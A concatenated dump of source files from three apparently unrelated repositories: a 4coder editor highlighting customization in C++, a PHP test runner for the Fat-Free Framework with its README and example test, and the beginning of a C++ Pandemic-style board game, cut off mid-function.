string_u8_litexpr( "v4" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "m2" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "m3" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "m4" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "b32" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "midx"), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "umm" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "smm" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "bptr" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "__debugbreak" ), 0xffa46391, /* Hardcoded colors work too. */<file_sep>/4coder_custom_layer.cpp
/*
4coder_default_bidings.cpp - Supplies the default bindings used for default 4coder behavior.
*/
/* TODO(Jakob):
* - Multi-row editing
* - Vim-style BookMarks
* - Progressbar showing how far down you are in a file
* - Close build panel on return code 0 (sucess)
* - More syntax highlightnig, macros, if-else-for-case-class-struct, Functions,etc
* - Make top-file-bar grayed out when window is not in focus
*/
#if !defined(FCODER_DEFAULT_BINDINGS_CPP)
#define FCODER_DEFAULT_BINDINGS_CPP
#include "4coder_default_include.cpp"
// NOTE(allen): Users can declare their own managed IDs here.
#include "4coder_custom_hooks.cpp"
#if !defined(META_PASS)
#include "generated/managed_id_metadata.cpp"
#endif
void
custom_layer_init(Application_Links *app){
Thread_Context *tctx = get_thread_context(app);
// NOTE(allen): setup for default framework
default_framework_init(app);
// NOTE(allen): default hooks and command maps
set_all_default_hooks(app);
set_custom_hook(app, HookID_RenderCaller, custom_render_caller);
mapping_init(tctx, &framework_mapping);
String_ID global_map_id = vars_save_string_lit("keys_global");
String_ID file_map_id = vars_save_string_lit("keys_file");
String_ID code_map_id = vars_save_string_lit("keys_code");
setup_default_mapping(&framework_mapping, global_map_id, file_map_id, code_map_id);
setup_essential_mapping(&framework_mapping, global_map_id, file_map_id, code_map_id);
}
#endif //FCODER_DEFAULT_BINDINGS
<file_sep>/4coder_custom_hooks.cpp
typedef struct Highlight_Pair {
String_Const_u8 needle;
ARGB_Color color;
} Highlight_Pair;
// NOTE(Jakob): Helper function from https://4coder.handmade.network/wiki/7319-customization_layer_-_getting_started__4coder_4.1_
/* NOTE: based on draw_comment_highlights. */
function void draw_keyword_highlights( Application_Links *app, Buffer_ID buffer, Text_Layout_ID text_layout_id, Token_Array *array, Highlight_Pair *pairs, i32 pair_count ) {
Scratch_Block scratch( app );
Range_i64 visible_range = text_layout_get_visible_range( app, text_layout_id );
i64 first_index = token_index_from_pos( array, visible_range.first );
Token_Iterator_Array it = token_iterator_index( buffer, array, first_index );
for ( ; ; ) {
Temp_Memory_Block temp( scratch );
Token *token = token_it_read( &it );
if ( token->pos >= visible_range.one_past_last ){
break;
}
String_Const_u8 tail = { 0 };
if ( token_it_check_and_get_lexeme( app, scratch, &it, TokenBaseKind_Identifier, &tail ) ){
Highlight_Pair *pair = pairs;
for ( i32 i = 0; i < pair_count; i += 1, pair += 1 ) {
if ( string_match( tail, pair->needle ) ) {
Range_i64 range = Ii64_size( token->pos, token->size );
paint_text_color( app, text_layout_id, range, pair->color );
break;
}
}
}
if ( !token_it_inc_non_whitespace( &it ) ){
break;
}
}
}
// NOTE(Jakob): Helper function from https://4coder.handmade.network/wiki/7319-customization_layer_-_getting_started__4coder_4.1_
function void draw_string_highlights( Application_Links *app, Buffer_ID buffer, Text_Layout_ID text_layout_id, Highlight_Pair *pairs, i32 pair_count ) {
Range_i64 visible_range = text_layout_get_visible_range( app, text_layout_id );
Highlight_Pair* pair = pairs;
for ( i32 i = 0; i < pair_count; i += 1, pair += 1 ) {
if ( pair->needle.size <= 0 ) {
continue;
}
i64 position = visible_range.min;
seek_string_insensitive_forward( app, buffer, position - 1, visible_range.max, pair->needle, &position );
while ( position < visible_range.max ) {
Range_i64 range = Ii64_size( position, pair->needle.size );
paint_text_color( app, text_layout_id, range, pair->color );
seek_string_insensitive_forward( app, buffer, position, visible_range.max, pair->needle, &position );
}
}
}
function void
custom_render_buffer(Application_Links *app, View_ID view_id, Face_ID face_id,
Buffer_ID buffer, Text_Layout_ID text_layout_id,
Rect_f32 rect){
ProfileScope(app, "render buffer");
View_ID active_view = get_active_view(app, Access_Always);
b32 is_active_view = (active_view == view_id);
Rect_f32 prev_clip = draw_set_clip(app, rect);
Range_i64 visible_range = text_layout_get_visible_range(app, text_layout_id);
// NOTE(allen): Cursor shape
Face_Metrics metrics = get_face_metrics(app, face_id);
u64 cursor_roundness_100 = def_get_config_u64(app, vars_save_string_lit("cursor_roundness"));
f32 cursor_roundness = metrics.normal_advance*cursor_roundness_100*0.01f;
f32 mark_thickness = (f32)def_get_config_u64(app, vars_save_string_lit("mark_thickness"));
// NOTE(allen): Token colorizing
Token_Array token_array = get_token_array_from_buffer(app, buffer);
if (token_array.tokens != 0){
draw_cpp_token_colors(app, text_layout_id, &token_array);
// NOTE(allen): Scan for TODOs and NOTEs
b32 use_comment_keyword = def_get_config_b32(vars_save_string_lit("use_comment_keyword"));
if (use_comment_keyword){
Comment_Highlight_Pair pairs[] = {
{string_u8_litexpr("NOTE"), finalize_color(defcolor_comment_pop, 0)},
{string_u8_litexpr("TODO"), finalize_color(defcolor_comment_pop, 1)},
};
draw_comment_highlights(app, buffer, text_layout_id, &token_array, pairs, ArrayCount(pairs));
}
// NOTE(Jakob): Default tokens
Highlight_Pair token_pairs[] = {
#include "keyWords.h"
};
draw_keyword_highlights(app, buffer, text_layout_id, &token_array, token_pairs, ArrayCount(token_pairs));
Highlight_Pair string_pairs[ ] = {
string_u8_litexpr( "some string" ), finalize_color( defcolor_keyword, 0 ), /* Use theme color "defcolor_keyword" first color. */
string_u8_litexpr( "other string" ), 0xffa46391, /* Hardcoded colors work too. */
};
draw_string_highlights( app, buffer, text_layout_id, string_pairs, ArrayCount( string_pairs ) );
#if 0
// TODO(allen): Put in 4coder_draw.cpp
// NOTE(allen): Color functions
Scratch_Block scratch(app);
ARGB_Color argb = 0xFFFF00FF;
Token_Iterator_Array it = token_iterator_pos(0, &token_array, visible_range.first);
for (;;){
if (!token_it_inc_non_whitespace(&it)){
break;
}
Token *token = token_it_read(&it);
String_Const_u8 lexeme = push_token_lexeme(app, scratch, buffer, token);
Code_Index_Note *note = code_index_note_from_string(lexeme);
if (note != 0 && note->note_kind == CodeIndexNote_Function){
paint_text_color(app, text_layout_id, Ii64_size(token->pos, token->size), argb);
}
}
#endif
}
else{
paint_text_color_fcolor(app, text_layout_id, visible_range, fcolor_id(defcolor_text_default));
}
i64 cursor_pos = view_correct_cursor(app, view_id);
view_correct_mark(app, view_id);
// NOTE(allen): Scope highlight
b32 use_scope_highlight = def_get_config_b32(vars_save_string_lit("use_scope_highlight"));
if (use_scope_highlight){
Color_Array colors = finalize_color_array(defcolor_back_cycle);
draw_scope_highlight(app, buffer, text_layout_id, cursor_pos, colors.vals, colors.count);
}
b32 use_error_highlight = def_get_config_b32(vars_save_string_lit("use_error_highlight"));
b32 use_jump_highlight = def_get_config_b32(vars_save_string_lit("use_jump_highlight"));
if (use_error_highlight || use_jump_highlight){
// NOTE(allen): Error highlight
String_Const_u8 name = string_u8_litexpr("*compilation*");
Buffer_ID compilation_buffer = get_buffer_by_name(app, name, Access_Always);
if (use_error_highlight){
draw_jump_highlights(app, buffer, text_layout_id, compilation_buffer,
fcolor_id(defcolor_highlight_junk));
}
// NOTE(allen): Search highlight
if (use_jump_highlight){
Buffer_ID jump_buffer = get_locked_jump_buffer(app);
if (jump_buffer != compilation_buffer){
draw_jump_highlights(app, buffer, text_layout_id, jump_buffer,
fcolor_id(defcolor_highlight_white));
}
}
}
// NOTE(allen): Color parens
b32 use_paren_helper = def_get_config_b32(vars_save_string_lit("use_paren_helper"));
if (use_paren_helper){
Color_Array colors = finalize_color_array(defcolor_text_cycle);
draw_paren_highlight(app, buffer, text_layout_id, cursor_pos, colors.vals, colors.count);
}
// NOTE(allen): Line highlight
b32 highlight_line_at_cursor = def_get_config_b32(vars_save_string_lit("highlight_line_at_cursor"));
if (highlight_line_at_cursor && is_active_view){
i64 line_number = get_line_number_from_pos(app, buffer, cursor_pos);
draw_line_highlight(app, text_layout_id, line_number, fcolor_id(defcolor_highlight_cursor_line));
}
// NOTE(allen): Whitespace highlight
b64 show_whitespace = false;
view_get_setting(app, view_id, ViewSetting_ShowWhitespace, &show_whitespace);
if (show_whitespace){
if (token_array.tokens == 0){
draw_whitespace_highlight(app, buffer, text_layout_id, cursor_roundness);
}
else{
draw_whitespace_highlight(app, text_layout_id, &token_array, cursor_roundness);
}
}
// NOTE(allen): Cursor
switch (fcoder_mode){
case FCoderMode_Original:
{
draw_original_4coder_style_cursor_mark_highlight(app, view_id, is_active_view, buffer, text_layout_id, cursor_roundness, mark_thickness);
}break;
case FCoderMode_NotepadLike:
{
draw_notepad_style_cursor_highlight(app, view_id, buffer, text_layout_id, cursor_roundness);
}break;
}
// NOTE(allen): Fade ranges
paint_fade_ranges(app, text_layout_id, buffer);
// NOTE(allen): put the actual text on the actual screen
draw_text_layout_default(app, text_layout_id);
draw_set_clip(app, prev_clip);
}
function void
custom_render_caller(Application_Links *app, Frame_Info frame_info, View_ID view_id){
ProfileScope(app, "default render caller");
View_ID active_view = get_active_view(app, Access_Always);
b32 is_active_view = (active_view == view_id);
Rect_f32 region = draw_background_and_margin(app, view_id, is_active_view);
Rect_f32 prev_clip = draw_set_clip(app, region);
Buffer_ID buffer = view_get_buffer(app, view_id, Access_Always);
Face_ID face_id = get_face_id(app, buffer);
Face_Metrics face_metrics = get_face_metrics(app, face_id);
f32 line_height = face_metrics.line_height;
f32 digit_advance = face_metrics.decimal_digit_advance;
// NOTE(allen): file bar
b64 showing_file_bar = false;
if (view_get_setting(app, view_id, ViewSetting_ShowFileBar, &showing_file_bar) && showing_file_bar){
Rect_f32_Pair pair = layout_file_bar_on_top(region, line_height);
draw_file_bar(app, view_id, buffer, face_id, pair.min);
region = pair.max;
}
Buffer_Scroll scroll = view_get_buffer_scroll(app, view_id);
Buffer_Point_Delta_Result delta = delta_apply(app, view_id,
frame_info.animation_dt, scroll);
if (!block_match_struct(&scroll.position, &delta.point)){
block_copy_struct(&scroll.position, &delta.point);
view_set_buffer_scroll(app, view_id, scroll, SetBufferScroll_NoCursorChange);
}
if (delta.still_animating){
animate_in_n_milliseconds(app, 0);
}
// NOTE(allen): query bars
region = default_draw_query_bars(app, region, view_id, face_id);
// NOTE(allen): FPS hud
if (show_fps_hud){
Rect_f32_Pair pair = layout_fps_hud_on_bottom(region, line_height);
draw_fps_hud(app, frame_info, face_id, pair.max);
region = pair.min;
animate_in_n_milliseconds(app, 1000);
}
// NOTE(allen): layout line numbers
b32 show_line_number_margins = def_get_config_b32(vars_save_string_lit("show_line_number_margins"));
Rect_f32 line_number_rect = {};
if (show_line_number_margins){
Rect_f32_Pair pair = layout_line_number_margin(app, buffer, region, digit_advance);
line_number_rect = pair.min;
region = pair.max;
}
// NOTE(allen): begin buffer render
Buffer_Point buffer_point = scroll.position;
Text_Layout_ID text_layout_id = text_layout_create(app, buffer, region, buffer_point);
// NOTE(allen): draw line numbers
if (show_line_number_margins){
draw_line_number_margin(app, view_id, buffer, face_id, text_layout_id, line_number_rect);
}
// NOTE(allen): draw the buffer
custom_render_buffer(app, view_id, face_id, buffer, text_layout_id, region);
text_layout_free(app, text_layout_id);
draw_set_clip(app, prev_clip);
}
// BOTTOM
| e045b9963b8f69f9331abf5f117bc4be8fd88c58 | [
"C",
"C++"
] | 3 | C | PowerTravel/4coder | 360fb1ca1dfd3b175cb3d71d9b63d35c0c2238dc | 5a70c7ad09dc9c8746bfb7ca0eaf8bd6cdd0dab4 |
refs/heads/main | <repo_name>inventor96/fatfree-test-manager<file_sep>/tests/test_runner.php
<?php
use inventor96\F3TestManager\TestManager;
require_once(__DIR__.'/../vendor/autoload.php');
require_once(__DIR__.'/../src/TestManager.php');
require_once(__DIR__.'/../src/TestBase.php');
echo PHP_EOL."Running tests using separate calls.".PHP_EOL;
$test1 = new Test();
TestManager::runTests(__DIR__, $test1);
TestManager::reportTests($test1, false);
echo PHP_EOL."Running tests using one call.".PHP_EOL;
TestManager::runAndReportTests(__DIR__);
<file_sep>/src/TestBase.php
<?php
namespace inventor96\F3TestManager;
use Test;
abstract class TestBase {
/** @var array $me The names of classes that we don't want to use for displaying the tester method */
protected $excluded_classes = [];
/** @var Test $test The test instance */
protected $test;
/**
* Creates the basics for a unit test class
*
* @param \Test $test_instance The instance of the F3 `Test` class in which to store the tests
*/
public function __construct(Test &$test_instance, array $excluded_classes = []) {
$this->test = $test_instance;
$this->excluded_classes = array_merge([get_class()], $excluded_classes);
}
/**
* Evaluate a condition and save the result
*
* @param bool $condition A condition that evaluates to `true` or `false`
* @param string $message The message to attach to the test
* @return void
*/
protected function expect(bool $condition, string $message = ''): void {
$trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
foreach ($trace as $i => $t) {
// don't want internal stuff
if (in_array($t['class'], $this->excluded_classes, true)) {
continue;
}
// get the class and method name of the testing method
$final_message = $t['class'].'::'.$t['function'].'()';
// add the file and line numer where this expect() was called
if ($i > 0) {
$prev = $trace[$i - 1];
$final_message .= ' // '.basename($prev['file']).':'.$prev['line'];
}
// add a message, if present
if ($message) {
$final_message .= ' - '.$message;
}
break;
}
// store the test in the Test instance
$this->test->expect($condition, $final_message);
}
}
<file_sep>/tests/ExampleTest.php
<?php
use inventor96\F3TestManager\TestBase;
class ExampleTest extends TestBase {
private $pre_class_called = 0;
private $post_class_called = 0;
private $pre_test_called = 0;
private $post_test_called = 0;
public function preClass() {
$this->pre_class_called++;
}
public function postClass() {
$this->post_class_called++;
echo "preClass() called: {$this->pre_class_called}".PHP_EOL;
echo "postClass() called: {$this->post_class_called}".PHP_EOL;
echo "preTest() called: {$this->pre_test_called}".PHP_EOL;
echo "postTest() called: {$this->post_test_called}".PHP_EOL;
}
public function preTest() {
$this->pre_test_called++;
}
public function postTest() {
$this->post_test_called++;
}
private function testThisShouldNeverGetCalled() {
// private methods should never get called by the TestManager
$this->expect(false, 'This is not the method you are looking for...');
}
public function testPassExample() {
$this->expect(true, 'the message for a passing test');
}
public function testFailExample() {
$this->expect(false, 'the message for a failed test');
}
public function testPassAndFailExample() {
$this->expect(true);
$this->expect(false);
}
public function testWithException() {
throw new Exception("This is the message for an exception");
}
}
<file_sep>/src/TestManager.php
<?php
namespace inventor96\F3TestManager;
use \Exception;
use \Test;
class TestManager {
/**
* Find all `*Test.php` files in the given directory, and run all `test*()` methods for the first class found in each file.
*
* @param string $directory The directory in which the `*Test.php` files are located
* @param Test $test_instance The instance of F3's `Test` class to run the tests with.
* @return void
*/
public static function runTests(string $directory, Test &$test_instance): void {
$me = get_class();
// get list of files
$directory = rtrim($directory, '\\/');
$files = glob($directory.DIRECTORY_SEPARATOR.'*Test.php');
// make sure we actually have something to work with
if ($files === false) {
throw new Exception("There was an error while reading the {$directory} directory.");
}
// process each file
foreach ($files as $file) {
// get namespace and class from file
$fp = fopen($file, 'r');
$class = $namespace = $buffer = '';
$i = 0;
while (!$class) {
if (feof($fp)) {
break;
}
$buffer .= fread($fp, 512);
$tokens = token_get_all($buffer);
if (strpos($buffer, '{') === false) {
continue;
}
for (; $i < count($tokens); $i++) {
if ($tokens[$i][0] === T_NAMESPACE) {
for ($j = $i + 1; $j < count($tokens); $j++) {
if ($tokens[$j][0] === T_STRING) {
$namespace .= '\\'.$tokens[$j][1];
} else if ($tokens[$j] === '{' || $tokens[$j] === ';') {
break;
}
}
}
if ($tokens[$i][0] === T_CLASS) {
for ($j = $i + 1; $j < count($tokens); $j++) {
if ($tokens[$j] === '{') {
$class = $tokens[$i + 2][1];
}
}
}
}
}
fclose($fp);
// instantiate class
require_once($file);
$tester_class_name = "{$namespace}\\{$class}";
$tester = new $tester_class_name($test_instance);
$methods = get_class_methods($tester);
// check for pre- and post- class and test methods
$has_pre_class = in_array('preClass', $methods);
$has_post_class = in_array('postClass', $methods);
$has_pre_test = in_array('preTest', $methods);
$has_post_test = in_array('postTest', $methods);
// call pre-class
if ($has_pre_class) {
$tester->preClass();
}
// call each testing method
foreach ($methods as $method) {
// only call methods that start with 'test'
if (strpos($method, 'test') !== 0) {
continue;
}
// call pre-test
if ($has_pre_test) {
$tester->preTest();
}
// catch and report any errors that might happen
try {
$tester->{$method}();
} catch (\Throwable $err) {
$test_instance->expect(false, ltrim($tester_class_name, '\\').'::'.$method.'() // '.basename($err->getFile()).':'.$err->getLine().' - Exception: '.$err->getMessage());
}
// call post-test
if ($has_post_test) {
$tester->postTest();
}
}
// call post-class
if ($has_post_class) {
$tester->postClass();
}
}
}
/**
* Echo the results of the tests run with the given instance of the F3 `Test` class.
*
* @param Test $test_instance The instance of the F3 `Test` class that contains the tests.
* @param bool $exit When set to true, it will end the PHP process, setting the exit code to 1 if there were failed tests.
* @return void
*/
public static function reportTests(Test $test_instance, bool $exit = true): void {
// output results
foreach ($test_instance->results() as $result) {
echo ($result['status'] ? "\033[32mPASS\033[0m" : "\033[31mFAIL\033[0m").": {$result['text']}\n";
}
// exit
if ($exit) {
exit($test_instance->passed() ? 0 : 1);
}
}
/**
* Find all `*Test.php` files in the given directory, and run all `test*()` methods for the first class found in each file.
* After the tests have finished, echo the results.
*
* @param string $directory The directory in which the `*Test.php` files are located
* @param Test $test_instance The instance of F3's `Test` class to run the tests with.
* @param bool $exit When set to true, it will end the PHP process, setting the exit code to 1 if there were failed tests.
* @return void
*/
public static function runAndReportTests(string $directory, Test &$test_instance = null, bool $exit = true): void {
if ($test_instance === null) {
$test_instance = new Test();
}
// run the tests
self::runTests($directory, $test_instance);
// output the report
self::reportTests($test_instance, $exit);
}
}
<file_sep>/README.md
# Fat-Free Test Manager
A lightweight class to run and report the results from unit tests using the [Fat-Free Framework `Test` class](https://fatfreeframework.com/3.7/test).
## Installation
```
composer require --dev inventor96/fatfree-test-manager
```
## Usage
The goal of this tool is to be as simple and lightweight as possible.
### Overview
The idea is that we'll scan one folder (non-recursively) for all files that end with `Test.php` (e.g. `MyAwesomeTest.php`). For each of the files found, we find the first class definition, instantiate that class, and then call all public methods in that class that start with `test` (e.g. `public function testIfThisWorks() { ... }`).
With this structure in place, simply call `TestManager::runAndReportTests('directory/with/test/files');`.
### Extending `TestBase`
The test classes must extend `TestBase`, directly or indirectly. If indirectly (the test classes extend another class that extends `TestBase`), the constructor of the class(es) in the middle will want to pass an array as the second parameter to the parent constructor of class names that includes their own. This will allow the report to include the correct class and method name of the testing method.
For example:
```php
class MyTestBase extends TestBase {
public function __construct(\Test &$test_instance) {
parent::__construct($test_instance, [get_class()]);
}
}
```
### Running code before/after test classes and methods
If a test class (or a class it extends) has a method named `preClass()`, `preTest()`, `postTest()`, or `postClass()`; each method will be called at the respective time.
| Method | Called Time |
| ------ | ----------- |
| `preClass()` | Immediately after the class is instantiated |
| `preTest()` | Before each `test*()` method in the class |
| `postTest()` | After each `test*()` method in the class |
| `postClass()` | After all tests in the class have been run, and `postTest()` has been called (if present) |
### Multiple Folders
If you have more than one folder with tests, you can create an instance of the [Fat-Free Framework `Test` class](https://fatfreeframework.com/3.7/test) and call `TestManager::runTests('a/directory/with/tests', $your_instance_of_Test);` for each directory, then call `TestManager::reportTests($your_instance_of_Test);` at the end.
### Exit Codes
By default, `runAndReportTests()` and `reportTests()` will end the PHP process with an exit code of 1 if there were failed tests, or 0 if all were successful. To disable this behavior and allow the script to continue, set the last parameter to `false`.
## General Example
`example_dir/ExampleTest.php`:
```php
<?php
use inventor96\F3TestManager\TestBase;
class ExampleTest extends TestBase {
private $pre_class_called = 0;
private $post_class_called = 0;
private $pre_test_called = 0;
private $post_test_called = 0;
public function preClass() {
$this->pre_class_called++;
}
public function postClass() {
$this->post_class_called++;
echo "preClass() called: {$this->pre_class_called}".PHP_EOL;
echo "postClass() called: {$this->post_class_called}".PHP_EOL;
echo "preTest() called: {$this->pre_test_called}".PHP_EOL;
echo "postTest() called: {$this->post_test_called}".PHP_EOL;
}
public function preTest() {
$this->pre_test_called++;
}
public function postTest() {
$this->post_test_called++;
}
private function testThisShouldNeverGetCalled() {
// private methods should never get called by the TestManager
$this->expect(false, 'This is not the method you are looking for...');
}
public function testPassExample() {
$this->expect(true, 'the message for a passing test');
}
public function testFailExample() {
$this->expect(false, 'the message for a failed test');
}
public function testPassAndFailExample() {
$this->expect(true);
$this->expect(false);
}
public function testWithException() {
throw new Exception("This is the message for an exception");
}
}
```
`example_dir/test_runner.php`:
```php
<?php
use inventor96\F3TestManager\TestManager;
require_once('../vendor/autoload.php');
echo PHP_EOL."Running tests using separate calls.".PHP_EOL;
$test1 = new Test();
TestManager::runTests(__DIR__, $test1);
TestManager::reportTests($test1, false);
echo PHP_EOL."Running tests using one call.".PHP_EOL;
TestManager::runAndReportTests(__DIR__);
```
Running the tests would look like this:
```
$ php test_runner.php
Running tests using separate calls.
preClass() called: 1
postClass() called: 1
preTest() called: 4
postTest() called: 4
PASS: ExampleTest::testPassExample() // ExampleTest.php:38 - the message for a passing test
FAIL: ExampleTest::testFailExample() // ExampleTest.php:42 - the message for a failed test
PASS: ExampleTest::testPassAndFailExample() // ExampleTest.php:46
FAIL: ExampleTest::testPassAndFailExample() // ExampleTest.php:47
FAIL: ExampleTest::testWithException() // ExampleTest.php:51 - Exception: This is the message for an exception
Running tests using one call.
preClass() called: 1
postClass() called: 1
preTest() called: 4
postTest() called: 4
PASS: ExampleTest::testPassExample() // ExampleTest.php:38 - the message for a passing test
FAIL: ExampleTest::testFailExample() // ExampleTest.php:42 - the message for a failed test
PASS: ExampleTest::testPassAndFailExample() // ExampleTest.php:46
FAIL: ExampleTest::testPassAndFailExample() // ExampleTest.php:47
FAIL: ExampleTest::testWithException() // ExampleTest.php:51 - Exception: This is the message for an exception
```
| 54bc13b8fac29466b72fc635f06daf11a47862d9 | [
"Markdown",
"PHP"
] | 5 | PHP | inventor96/fatfree-test-manager | 5b9cdfe254c5d67ba22ede25e7a403a97b64bf08 | 39ad98bdaee07a9b4198441065e0dc982c50c8bd |
refs/heads/master | <repo_name>kthompson/thingiverse-client<file_sep>/src/ThingiverseClient/Http/IConnection.cs
using System;
namespace ThingiverseClient.Http
{
public interface IConnection
{
}
public abstract class ApiResponse<T>
{
public abstract bool IsSuccess { get; }
}
public class ApiSuccessResponse<T> : ApiResponse<T>
{
public override bool IsSuccess => true;
public T Result { get; }
public ApiSuccessResponse(T result)
{
Result = result;
}
}
public class ApiFailureResponse<T> : ApiResponse<T>
{
public override bool IsSuccess => false;
public string Error { get; }
public ApiFailureResponse(string error)
{
Error = error;
}
}
public static class ApiResponseExtensions
{
public static TResult Match<T, TResult>(this ApiResponse<T> res, Func<T, TResult> success, Func<string, TResult> failure) =>
res.IsSuccess
? success(((ApiSuccessResponse<T>) res).Result)
: failure(((ApiFailureResponse<T>) res).Error);
public static ApiResponse<TResult> Bind<T, TResult>(this ApiResponse<T> res, Func<T, ApiResponse<TResult>> f)
=>
res.Match(f, error => new ApiFailureResponse<TResult>(error));
}
}<file_sep>/src/ThingiverseClient/ThingiverseClient.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using ThingiverseClient.Http;
namespace ThingiverseClient
{
public class ThingiverseClient : IThingiverseClient
{
public static readonly Uri ThingiverseApiUrl = new Uri("https://api.thingiverse.com/");
public ThingiverseClient(ProductHeaderValue header)
: this(new Connection(header, ThingiverseApiUrl))
{
}
public ThingiverseClient(ProductHeaderValue header, ICredentialStore credentialStore)
: this(new Connection(header, credentialStore))
{
}
public ThingiverseClient(ProductHeaderValue productInformation, Uri baseAddress)
: this(new Connection(productInformation, baseAddress))
{
}
public ThingiverseClient(ProductHeaderValue productInformation, ICredentialStore credentialStore, Uri baseAddress)
: this(new Connection(productInformation, baseAddress, credentialStore))
{
}
private ThingiverseClient(Connection connection)
{
throw new NotImplementedException();
}
public IConnection Connection { get; }
public IUsersClient Users { get; }
public IThingsClient Things { get; }
public IFilesClient Files { get; }
public ICollectionsClient Collections { get; }
}
public class Connection : IConnection
{
public Connection(ProductHeaderValue header, Uri baseUri)
{
throw new NotImplementedException();
}
public Connection(ProductHeaderValue header, ICredentialStore credentialStore)
{
throw new NotImplementedException();
}
public Connection(ProductHeaderValue productInformation, Uri baseUri, ICredentialStore credentialStore1)
{
throw new NotImplementedException();
}
}
public interface IThingiverseClient
{
IConnection Connection { get; }
IUsersClient Users { get; }
IThingsClient Things { get; }
IFilesClient Files { get; }
ICollectionsClient Collections { get; }
}
public interface ICollectionsClient
{
}
public interface IUsersClient
{
}
public interface IFilesClient
{
}
public interface IThingsClient
{
}
}
<file_sep>/README.md
# Thingiverse Client
A C# client for the Thingiverse API
| 24421ea807b248d6be20c89c46ee750e91d2df38 | [
"Markdown",
"C#"
] | 3 | C# | kthompson/thingiverse-client | 0e9ca3fd3b8b113ee05a5551a1739cdad301b109 | 1abd37a9194877b713486b8a52b47580625d9a2f |
refs/heads/master | <file_sep>#include <iostream>
#include <string>
#include <vector>
#include "Player.h"
Player::Player(std::string n){
name = n;
reference_card = reference_cards::instance();
};
Player::~Player(){};
void Player::addCard(PlayerCard *card){
hand.push_back(card);
}
std::vector<PlayerCard*> Player::getHand(){
return hand;
}
std::string Player::getName(){
return name;
}
void Player::displayHand()
{
for (int i = 0; i < hand.size(); i++) {
hand[i]->getAttributes();
std::cout << "----------------------" << std::endl;
}
}
void Player::getReferenceCard(){
reference_card->output();
}
void Player::setRole(roles* r){
role = r;
}
roles* Player::getRole(){
return role;
}
void Player::setPawn(Pawn * p){
pawn = p;
}
Pawn* Player::getPawn()
{
return pawn;
}
void Player::move()
{
int playerChoice;
std::cout << "Here is the list of " << currentCity->getName() << "'s neighbours: " << std::endl;
currentCity->getListOfNeighbours();
std::cout << "Where would you like to move? (pick a number): " << std::endl;
std::cin >> playerChoice;
while ((!std::cin >> playerChoice) && (playerChoice < 1 || playerChoice > currentCity->getNeighbours().size()))
{
}
switch (playerChoice)
{
case 1:
std::cout << name << " is moving to " << currentCity->getNeighbours().at(0)->getName() << " . . " << std::endl;
setCurrentCity(currentCity->getNeighbours().at(0));
std::cout << "You are now in: " << currentCity->getName() << std::endl;
/*std::cout << currentCity->getName() << "'s neighbours are: " << std::endl;
currentCity->getListOfNeighbours();*/
break;
case 2:
std::cout << name << " is moving to " << currentCity->getNeighbours().at(1)->getName() << " . . " << std::endl;
setCurrentCity(currentCity->getNeighbours().at(1));
std::cout << "You are now in: " << currentCity->getName() << std::endl;
/*std::cout << currentCity->getName() << "'s neighbours are: " << std::endl;
currentCity->getListOfNeighbours();*/
break;
case 3:
std::cout << name << " is moving to " << currentCity->getNeighbours().at(2)->getName() << " . . " << std::endl;
setCurrentCity(currentCity->getNeighbours().at(2));
std::cout << "You are now in: " << currentCity->getName() << std::endl;
//std::cout << currentCity_h->getName() << "'s neighbours are: " << std::endl;
//currentCity_h->getListOfNeighbours();
break;
case 4:
std::cout << name << " is moving to " << currentCity->getNeighbours().at(3)->getName() << " . . " << std::endl;
setCurrentCity(currentCity->getNeighbours().at(3));
std::cout << "You are now in: " << currentCity->getName() << std::endl;
//std::cout << currentCity_h->getName() << "'s neighbours are: " << std::endl;
//currentCity_h->getListOfNeighbours();
break;
//case 5:
// std::cout << name_h << " is moving to " << currentCity_h->getNeighbours().at(4)->getName() << " . . " << std::endl;
// currentCity_h = currentCity_h->getNeighbours().at(4);
// std::cout << "You are now in: " << currentCity_h->getName() << std::endl;
// //std::cout << currentCity_h->getName() << "'s neighbours are: " << std::endl;
// //currentCity_h->getListOfNeighbours();
// break;
//case 6:
// std::cout << name_h << " is moving to " << currentCity_h->getNeighbours().at(5)->getName() << " . . " << std::endl;
// currentCity_h = currentCity_h->getNeighbours().at(5);
// std::cout << "You are now in: " << currentCity_h->getName() << std::endl;
// //std::cout << currentCity_h->getName() << "'s neighbours are: " << std::endl;
// //currentCity_h->getListOfNeighbours();
// break;
case 0:
break;
}
}
void Player::setCurrentCity(MapCity* currentCity)
{
this->currentCity = currentCity;
}
std::string Player::getCurrentCity()
{
return currentCity->getName();
}<file_sep>#pragma once
#include <string>
#include "PlayerCard.h"
class Epidemic : public PlayerCard{
public:
Epidemic();
~Epidemic();
void getAttributes();
std::string getType();
private:
std::string type;
};<file_sep>#ifndef PAWN_H
#define PAWN_H
#include <string>
class Pawn
{
public:
Pawn();
Pawn(std::string color);
// setters
void setColor(std::string color);
std::string getColor();
private:
std::string color;
};
#endif<file_sep>#include <string>
#pragma once
class roles
{
public:
roles();
roles(int);
void output();
std::string getColor();
std::string getName();
std::string getSkill();
private:
int roleID;
std::string name;
std::string color;
std::string skill;
bool skill_dispatcher = false;
bool skill_medic = false;
bool skill_scientist = false;
bool skill_researcher = false;
bool skill_quarantine_specialist = false;
bool skill_operations_expert = false;
bool skill_contingency_planner = false;
void role_scientist();
void role_contingency_planner();
void role_operations_expert();
void role_medic();
void role_dispatcher();
void role_researcher();
void role_quarantine_specialist();
};<file_sep>#include <iostream>
#include <string>
#include <vector>
#include <fstream>
#include <time.h>
#include "City.h"
#include "Event.h"
#include "Epidemic.h"
#include "Deck.h"
#include "Player.h"
//#include "reference_cards.h"
#include "InfectionCard.h"
#include "GameManager.h"
//#include "roles.h"
//#include "MapCity.h"
#include <windows.h>
#include <sstream>
int main() {
std::srand((int)time(0));
//accessing the game manager
//GameManager::Instance().displayCubeCount();
//vectors to hold card objects
std::vector<PlayerCard*> cities;
std::vector<PlayerCard*> events;
std::vector<PlayerCard*> epidemics;
//creating city
std::ifstream cityFile("..\\cities.txt");
std::string name, color;
int pop;
